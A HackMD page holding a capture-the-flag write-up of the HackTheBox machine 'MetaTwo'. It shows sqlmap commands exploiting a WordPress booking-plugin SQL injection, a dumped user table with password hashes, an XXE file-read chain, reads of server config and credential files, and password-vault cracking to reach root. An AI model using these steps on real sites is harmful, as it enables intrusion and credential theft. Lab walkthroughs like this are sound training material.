Metric Code
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # MetaTwo! ## @Author : M3tr1c_r00t ![MetaTwo](https://user-images.githubusercontent.com/99975622/231587996-9f19c23a-7112-4a1c-84b9-6ff4c75259da.png) MetaTwo was a really fun wordpress linux box where we needed to exploit a vulnerable plugin via manual enumeration to gain credentials on the wordpress dashboard and using a public xss exploit on the wordpress version to gain and lfi. For root, we needed to crack the password of a password vault to get the root's credentials. ### Enumeration #### nmap... ``` # Nmap 7.80 scan initiated Fri Mar 31 14:29:11 2023 as: nmap -sC -sV -A -p 21,22,80 -oN nmapports.txt 10.10.11.186 Nmap scan report for metapress.htb (10.10.11.186) Host is up (0.20s latency). PORT STATE SERVICE VERSION 21/tcp open ftp? | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (Debian) [::ffff:10.10.11.186] | Invalid command: try being more creative |_ Invalid command: try being more creative 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http nginx 1.18.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-generator: WordPress 5.6.2 | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-server-header: nginx/1.18.0 |_http-title: MetaPress &#8211; Official company site |_http-trane-info: Problem with XML parsing of /evox/about 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port21-TCP:V=7.80%I=7%D=3/31%Time=6426C414%P=x86_64-pc-linux-gnu%r(Gene SF:ricLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10\ SF:.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cre SF:ative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creative SF:\r\n"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), QNAP QTS 4.0 - 4.2 (92%), Linux 2.6.32 - 3.10 (92%), Linux 2.6.32 - 3.9 (92%), Linux 3.8 (92%), Linux 2.6.32 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 207.10 ms 10.10.14.1 2 207.06 ms metapress.htb (10.10.11.186) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Mar 31 14:32:55 2023 -- 1 IP address (1 host up) scanned in 224.51 seconds ``` ### Foothold For a decent scan of a wordpress web app using wpscan, it is advisable for one to create an account on wpscan and use it with the tool. So if we ran the wpscan... ![Screenshot from 2023-03-31 14-51-56](https://user-images.githubusercontent.com/99975622/231591683-833f058d-be57-4305-b2ee-202546810484.png) We can see the current wordpress version is vulnerable to an xss attack but it is authenticated. ![Screenshot from 2023-03-31 14-52-36](https://user-images.githubusercontent.com/99975622/231592965-09d8120e-ebb7-420a-ab13-c11d6a2eb683.png) The xss vulnerability; ![Screenshot from 2023-03-31 14-55-53](https://user-images.githubusercontent.com/99975622/231594853-8632218a-794e-454e-96c0-e242bb24c2b6.png) In the wpscan results, there was no information about any plugin but if you check the events page, we can actually see that this was intergrated by a plugin. ![Screenshot from 2023-03-31 15-11-07](https://user-images.githubusercontent.com/99975622/231595243-244ca2d6-ed94-4b3c-b7c1-02f323b3effd.png) I did a username enumeration and found 2 users, admin and manager. ![Screenshot from 2023-03-31 15-07-32](https://user-images.githubusercontent.com/99975622/231595149-9bd76622-0fd9-4b87-a82e-b7bd20cfeb0a.png) After finding the plugin type and version, i went on to google and searched if it is vulnerable. ![Screenshot from 2023-03-31 15-12-27](https://user-images.githubusercontent.com/99975622/231595483-398dd4c9-5344-4ddd-8915-c7fb4d2fed89.png) And we can see that there is an unauthenticated sql injection vulnerability. ![Screenshot from 2023-03-31 15-13-21](https://user-images.githubusercontent.com/99975622/231595756-4d459569-4a44-412f-9312-373bac09f6e5.png) With this vulnerability, we can construct our sql payload and use sqlmap to extract data from the server. In the vulnerability, the wpnonce acts as a key value as it is an identifier to the application that it is the plugin that is making the request. Testing it using curl, it works... ![Screenshot from 2023-03-31 15-16-20](https://user-images.githubusercontent.com/99975622/231596826-f193f9b3-b9d6-4964-9f97-50b9a4fc97a1.png) Since it's working, we can send the same payload to burpsuite using curl and ```-x for the proxy ``` ![Screenshot from 2023-03-31 15-30-16](https://user-images.githubusercontent.com/99975622/231597392-4efd7840-6200-442d-8fd7-8bb8b8193376.png) We can then edit out the payload and then enumerate for any databases. ![Screenshot from 2023-03-31 15-51-45](https://user-images.githubusercontent.com/99975622/231597654-9b0e1ab7-807e-4f76-aabc-c8f82d8a4e0d.png) We are using -p to set the vulnerable parameter.```sqlmap -r request.req -p total_service --dbs --batch``` We find there are 2 databases... ![Screenshot from 2023-03-31 15-59-07](https://user-images.githubusercontent.com/99975622/231597971-aaebc02d-d005-4340-89db-12d44172c3a0.png) The tables.... ``` ❯ sqlmap -r admin.req -p total_service -D blog --tables [27 tables] +--------------------------------------+ | wp_bookingpress_appointment_bookings | | wp_bookingpress_categories | | wp_bookingpress_customers | | wp_bookingpress_customers_meta | | wp_bookingpress_customize_settings | | wp_bookingpress_debug_payment_log | | wp_bookingpress_default_daysoff | | wp_bookingpress_default_workhours | | wp_bookingpress_entries | | wp_bookingpress_form_fields | | wp_bookingpress_notifications | | wp_bookingpress_payment_logs | | wp_bookingpress_services | | wp_bookingpress_servicesmeta | | wp_bookingpress_settings | | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +--------------------------------------+ ``` The data in the wp_users table. ``` ❯ sqlmap -r admin.req -p total_service -D blog -T wp_users --dump +─────+───────────────────────+─────────────────────────────────────+────────────────────────+─────────────+──────────────+───────────────+────────────────+──────────────────────+──────────────────────+ | ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key | +─────+───────────────────────+─────────────────────────────────────+────────────────────────+─────────────+──────────────+───────────────+────────────────+──────────────────────+──────────────────────+ | 1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb | admin | 0 | admin | admin | 2022-06-23 17:58:28 | <blank> | +─────+───────────────────────+─────────────────────────────────────+────────────────────────+─────────────+──────────────+───────────────+────────────────+──────────────────────+──────────────────────+ | 2 | <blank> | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager | 0 | manager | manager | 2022-06-23 18:07:55 | <blank> | +─────+───────────────────────+─────────────────────────────────────+────────────────────────+─────────────+──────────────+───────────────+────────────────+──────────────────────+──────────────────────+ ``` On cracking the passwords, using john the ripper, we find the password to the manager user as ... ![Screenshot from 2023-03-31 16-58-59](https://user-images.githubusercontent.com/99975622/231598629-ef7a80f1-6c6b-4581-9da2-7520a334488e.png) We can now login... ![Screenshot from 2023-03-31 16-19-51](https://user-images.githubusercontent.com/99975622/231598807-57fb8c7d-4b97-4c44-98a6-9b034a1ea4f0.png) And we're in. ![Screenshot from 2023-03-31 16-20-35](https://user-images.githubusercontent.com/99975622/231598890-9295e9f6-6716-4342-a519-0510bf673206.png) In the wordpress xss exploit, we are going to use our payload as a wav file. We are going to host our server using php and set up a dtd file to call the lfi vuln. There is a really nice room on try hack me that talks about this vulnerability. So, we can then set our payload... __The wav file...__ ![Screenshot from 2023-03-31 16-34-49](https://user-images.githubusercontent.com/99975622/231599501-13f543b1-8fe9-4f1f-b627-6b4575833421.png) __The dtd file...__ ![Screenshot from 2023-03-31 16-44-41](https://user-images.githubusercontent.com/99975622/231599841-3c2fe3d6-7ae4-4122-80c0-2139b41547da.png) so, we are going to host our php server as ``` php -S 0.0.0.0:8000``` ![Screenshot from 2023-03-31 16-45-07](https://user-images.githubusercontent.com/99975622/231599902-332e071b-e7bd-4e4c-9274-123ba4200575.png) We can then decode the data using ``` <?php echo zlib_decode(base64_decode('BASE64_CODE_HERE')); ?> ``` Then run the script as ``` php script.php ``` ![Screenshot from 2023-03-31 16-46-27](https://user-images.githubusercontent.com/99975622/231600279-ebbf01f0-d552-43bf-9b22-619d2ef2117f.png) I tried to access the users ssh key but no luck. Since i didnt know the web server's directory, we can check the nginx sites enabled file... ``` /etc/nginx/sites-enabled/default ``` And we find the web root. ![Screenshot from 2023-03-31 16-51-11](https://user-images.githubusercontent.com/99975622/231600627-3d0918ed-2ff4-46d3-9248-69d907a52e98.png) we can check the wp-config.php file and see if we find any other config files. ![Screenshot from 2023-03-31 16-53-06](https://user-images.githubusercontent.com/99975622/231600841-a1b8d81c-e5f8-4217-aa5a-391020ceca96.png) And we find the ftp creds. If we check around in ftp, we find a wierd email php script which may have some creds. I transfered it to my machine. ![Screenshot from 2023-03-31 16-55-16](https://user-images.githubusercontent.com/99975622/231600999-f3ad281d-e0ec-4970-9953-9fd15593358a.png) And we find some creds for the jnelsone user. ![Screenshot from 2023-03-31 16-55-27](https://user-images.githubusercontent.com/99975622/231601699-2b950c2b-3688-4f2b-975f-6a7299198310.png) If we try to ssh into the machine with them, we're in! ![Screenshot from 2023-03-31 16-55-55](https://user-images.githubusercontent.com/99975622/231601824-ffbdcea4-d8dd-4bd7-ab19-6e9a53bff874.png) ### user to root We are not allowed to run any command as root unfortunately. If we check the home directory of the jnelson user, we find a .passpie folder. ![Screenshot from 2023-03-31 17-18-21](https://user-images.githubusercontent.com/99975622/231602150-a83cdb2e-55b4-4477-9d7a-7931971e35fa.png) If we google/ask chatgpt what passpie is, we see it is a password vault. ![Screenshot from 2023-03-31 17-19-43](https://user-images.githubusercontent.com/99975622/231602367-cb77d183-a5bb-4d42-acc1-50d8c1adf9a5.png) Since we have the ability to read it's keys file, we can try and crack it using john ... (remove the public key for john to crack the private key) ![Screenshot from 2023-03-31 17-28-58](https://user-images.githubusercontent.com/99975622/231602500-335a4835-cfc1-41b1-baf6-eda224b209a1.png) since we have the key, we can now try and see what is in the vault. we can use the list command and see what is available. Then we can export the passwords to an empty file. ![Screenshot from 2023-03-31 17-30-58](https://user-images.githubusercontent.com/99975622/231602819-08c5055d-52e7-4bd3-ae5b-8f69e55fa7aa.png) With that, we can now su as root. ![Screenshot from 2023-03-31 17-31-11](https://user-images.githubusercontent.com/99975622/231602901-250fc3e1-0921-42cf-95a9-22bec4ba6b1c.png) We get the root flag. ![Screenshot from 2023-03-31 17-31-19](https://user-images.githubusercontent.com/99975622/231602955-1388fd73-8dd8-4db5-9c53-a8a993250d26.png) And done! #### Feel free to checkout my writeups on boxes and challenges! <a href="https://github.com/MetricCode">My Github Repo </a> #### You can also visit the other repos while you're at it! ## My socials: <br>@ twitter: https://twitter.com/M3tr1c_r00t <br>@ instagram: https://instagram.com/m3tr1c_r00t/

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully